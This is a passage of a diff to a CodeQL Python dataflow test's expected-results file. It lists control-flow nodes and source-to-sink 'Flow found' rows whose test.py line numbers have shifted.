variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:621:10:621:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:623:12:623:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:623:12:623:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:624:10:624:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:715:16:715:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -817,119 +817,119 @@ nodes | test.py:189:10:189:13 | ControlFlowNode for Subscript | test.py:188:25:188:30 | ControlFlowNode for SOURCE | test.py:189:10:189:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:336:10:336:21 | ControlFlowNode for Subscript | Flow found | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | test.py:336:11:336:16 | ControlFlowNode for SOURCE | test.py:336:10:336:21 | ControlFlowNode for Subscript | Flow found | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:340:10:340:20 | ControlFlowNode for Subscript | Flow found | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | test.py:340:11:340:16 | ControlFlowNode for SOURCE | test.py:340:10:340:20 | ControlFlowNode for Subscript | Flow found | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:344:10:344:27 | ControlFlowNode for Subscript | Flow found | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | test.py:344:16:344:21 | ControlFlowNode for SOURCE | test.py:344:10:344:27 | ControlFlowNode for Subscript | Flow found | -| test.py:367:10:367:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:367:10:367:34 | ControlFlowNode for second() | Flow found | -| test.py:367:10:367:34 | ControlFlowNode for second() | test.py:367:28:367:33 | ControlFlowNode for SOURCE | test.py:367:10:367:34 | ControlFlowNode for second() | Flow found | -| test.py:375:10:375:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:375:10:375:36 | ControlFlowNode for second() | Flow found | -| test.py:375:10:375:36 | ControlFlowNode for second() | test.py:375:30:375:35 | ControlFlowNode for SOURCE | test.py:375:10:375:36 | ControlFlowNode for second() | Flow found | -| test.py:383:10:383:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:383:10:383:43 | ControlFlowNode for second() | Flow found | -| test.py:383:10:383:43 | ControlFlowNode for second() | test.py:383:36:383:41 | ControlFlowNode for SOURCE | test.py:383:10:383:43 | ControlFlowNode for second() | Flow found | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | test.py:391:33:391:38 | ControlFlowNode for SOURCE | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | test.py:399:39:399:44 | ControlFlowNode for SOURCE | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:420:10:420:38 | ControlFlowNode for IfExp | Flow found | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | test.py:420:10:420:15 | ControlFlowNode for SOURCE | test.py:420:10:420:38 | ControlFlowNode for IfExp | Flow found | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:428:10:428:39 | ControlFlowNode for IfExp | Flow found | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | test.py:428:34:428:39 | ControlFlowNode for SOURCE | test.py:428:10:428:39 | ControlFlowNode for IfExp | Flow found | -| test.py:452:10:452:18 | ControlFlowNode for f() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:452:10:452:18 | ControlFlowNode for f() | Flow found | -| test.py:452:10:452:18 | ControlFlowNode for f() | test.py:452:12:452:17 | ControlFlowNode for SOURCE | test.py:452:10:452:18 | ControlFlowNode for f() | Flow found | -| test.py:459:10:459:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:459:10:459:34 | ControlFlowNode for second() | Flow found | -| test.py:459:10:459:34 | ControlFlowNode for second() | test.py:459:28:459:33 | ControlFlowNode for SOURCE | test.py:459:10:459:34 | ControlFlowNode for second() | Flow found | -| test.py:473:10:473:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:473:10:473:36 | ControlFlowNode for second() | Flow found | -| test.py:473:10:473:36 | ControlFlowNode for second() | test.py:473:30:473:35 | ControlFlowNode for SOURCE | test.py:473:10:473:36 | ControlFlowNode for second() | Flow found | -| test.py:487:10:487:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:487:10:487:43 | ControlFlowNode for second() | Flow found | -| test.py:487:10:487:43 | ControlFlowNode for second() | test.py:487:36:487:41 | ControlFlowNode for SOURCE | test.py:487:10:487:43 | ControlFlowNode for second() | Flow found | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | test.py:492:33:492:38 | ControlFlowNode for SOURCE | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:511:10:511:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | -| test.py:511:10:511:10 | ControlFlowNode for a | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | -| test.py:516:10:516:10 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | -| test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | -| test.py:523:10:523:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | -| test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | -| test.py:531:10:531:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | -| test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | -| test.py:540:10:540:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | -| test.py:540:10:540:10 | ControlFlowNode for a | test.py:538:13:538:18 | ControlFlowNode for SOURCE | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | -| test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | -| test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | -| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | -| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | -| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | -| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | -| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | -| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | -| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | -| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | -| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | -| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | -| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | -| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | -| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | -| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | -| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | -| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | -| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | -| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | -| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | -| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | -| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | -| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | -| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | -| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | -| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | -| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | -| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | -| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | -| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | -| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | -| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | -| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | -| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | -| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | -| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | -| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | -| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | -| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | -| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | -| test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | -| test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | -| test.py:590:12:590:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:590:12:590:16 | ControlFlowNode for Subscript | Flow found | -| test.py:590:12:590:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:590:12:590:16 | ControlFlowNode for Subscript | Flow found | -| test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | -| test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | -| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | -| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | -| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | -| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | -| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | -| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | -| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | -| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | -| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | -| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | -| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | -| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | -| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | -| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | -| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | -| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | -| test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | -| test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | -| test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | -| test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | -| test.py:618:10:618:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:618:10:618:14 | ControlFlowNode for Subscript | Flow found | -| test.py:618:10:618:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:618:10:618:14 | ControlFlowNode for Subscript | Flow found | -| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | -| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:342:10:342:21 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:342:10:342:21 | ControlFlowNode for Subscript | Flow found | +| test.py:342:10:342:21 | ControlFlowNode for Subscript | test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:10:342:21 | ControlFlowNode for Subscript | Flow found | +| test.py:346:10:346:20 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:346:10:346:20 | ControlFlowNode for Subscript | Flow found | +| test.py:346:10:346:20 | ControlFlowNode for Subscript | test.py:346:11:346:16 | ControlFlowNode for SOURCE | test.py:346:10:346:20 | ControlFlowNode for Subscript | Flow found | +| test.py:350:10:350:27 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:350:10:350:27 | ControlFlowNode for Subscript | Flow found | +| test.py:350:10:350:27 | ControlFlowNode for Subscript | test.py:350:16:350:21 | ControlFlowNode for SOURCE | test.py:350:10:350:27 | ControlFlowNode for Subscript | Flow found | +| test.py:373:10:373:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:373:10:373:34 | ControlFlowNode for second() | Flow found | +| test.py:373:10:373:34 | ControlFlowNode for second() | test.py:373:28:373:33 | ControlFlowNode for SOURCE | test.py:373:10:373:34 | ControlFlowNode for second() | Flow found | +| test.py:381:10:381:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:381:10:381:36 | ControlFlowNode for second() | Flow found | +| test.py:381:10:381:36 | ControlFlowNode for second() | test.py:381:30:381:35 | ControlFlowNode for SOURCE | test.py:381:10:381:36 | ControlFlowNode for second() | Flow found | +| test.py:389:10:389:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:389:10:389:43 | ControlFlowNode for second() | Flow found | +| test.py:389:10:389:43 | ControlFlowNode for second() | test.py:389:36:389:41 | ControlFlowNode for SOURCE | test.py:389:10:389:43 | ControlFlowNode for second() | Flow found | +| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | test.py:397:33:397:38 | ControlFlowNode for SOURCE | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | test.py:405:39:405:44 | ControlFlowNode for SOURCE | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:426:10:426:38 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:426:10:426:38 | ControlFlowNode for IfExp | Flow found | +| test.py:426:10:426:38 | ControlFlowNode for IfExp | test.py:426:10:426:15 | ControlFlowNode for SOURCE | test.py:426:10:426:38 | ControlFlowNode for IfExp | Flow found | +| test.py:434:10:434:39 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:434:10:434:39 | ControlFlowNode for IfExp | Flow found | +| test.py:434:10:434:39 | ControlFlowNode for IfExp | test.py:434:34:434:39 | ControlFlowNode for SOURCE | test.py:434:10:434:39 | ControlFlowNode for IfExp | Flow found | +| test.py:458:10:458:18 | ControlFlowNode for f() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:458:10:458:18 | ControlFlowNode for f() | Flow found | +| test.py:458:10:458:18 | ControlFlowNode for f() | test.py:458:12:458:17 | ControlFlowNode for SOURCE | test.py:458:10:458:18 | ControlFlowNode for f() | Flow found | +| test.py:465:10:465:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:465:10:465:34 | ControlFlowNode for second() | Flow found | +| test.py:465:10:465:34 | ControlFlowNode for second() | test.py:465:28:465:33 | ControlFlowNode for SOURCE | test.py:465:10:465:34 | ControlFlowNode for second() | Flow found | +| test.py:479:10:479:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:479:10:479:36 | ControlFlowNode for second() | Flow found | +| test.py:479:10:479:36 | ControlFlowNode for second() | test.py:479:30:479:35 | ControlFlowNode for SOURCE | test.py:479:10:479:36 | ControlFlowNode for second() | Flow found | +| test.py:493:10:493:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:493:10:493:43 | ControlFlowNode for second() | Flow found | +| test.py:493:10:493:43 | ControlFlowNode for second() | test.py:493:36:493:41 | ControlFlowNode for SOURCE | test.py:493:10:493:43 | ControlFlowNode for second() | Flow found | +| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | test.py:498:33:498:38 | ControlFlowNode for SOURCE | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | test.py:503:39:503:44 | ControlFlowNode for SOURCE | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:517:10:517:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:517:10:517:10 | ControlFlowNode for a | Flow found | +| test.py:517:10:517:10 | ControlFlowNode for a | test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:517:10:517:10 | ControlFlowNode for a | Flow found | +| test.py:522:10:522:10 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:522:10:522:10 | ControlFlowNode for b | Flow found | +| test.py:522:10:522:10 | ControlFlowNode for b | test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:522:10:522:10 | ControlFlowNode for b | Flow found | +| test.py:529:10:529:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:529:10:529:10 | ControlFlowNode for a | Flow found | +| test.py:529:10:529:10 | ControlFlowNode for a | test.py:527:10:527:15 | ControlFlowNode for SOURCE | test.py:529:10:529:10 | ControlFlowNode for a | Flow found | +| test.py:537:10:537:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:537:10:537:10 | ControlFlowNode for a | Flow found | +| test.py:537:10:537:10 | ControlFlowNode for a | test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:537:10:537:10 | ControlFlowNode for a | Flow found | +| test.py:539:10:539:10 | ControlFlowNode for c | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:539:10:539:10 | ControlFlowNode for c | Flow found | +| test.py:539:10:539:10 | ControlFlowNode for c | test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:539:10:539:10 | ControlFlowNode for c | Flow found | +| test.py:539:10:539:10 | ControlFlowNode for c | test.py:535:30:535:35 | ControlFlowNode for SOURCE | test.py:539:10:539:10 | ControlFlowNode for c | Flow found | +| test.py:546:10:546:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:546:10:546:10 | ControlFlowNode for a | Flow found | +| test.py:546:10:546:10 | ControlFlowNode for a | test.py:544:13:544:18 | ControlFlowNode for SOURCE | test.py:546:10:546:10 | ControlFlowNode for a | Flow found | +| test.py:554:10:554:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:554:10:554:10 | ControlFlowNode for a | Flow found | +| test.py:554:10:554:10 | ControlFlowNode for a | test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:554:10:554:10 | ControlFlowNode for a | Flow found | +| test.py:556:10:556:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode 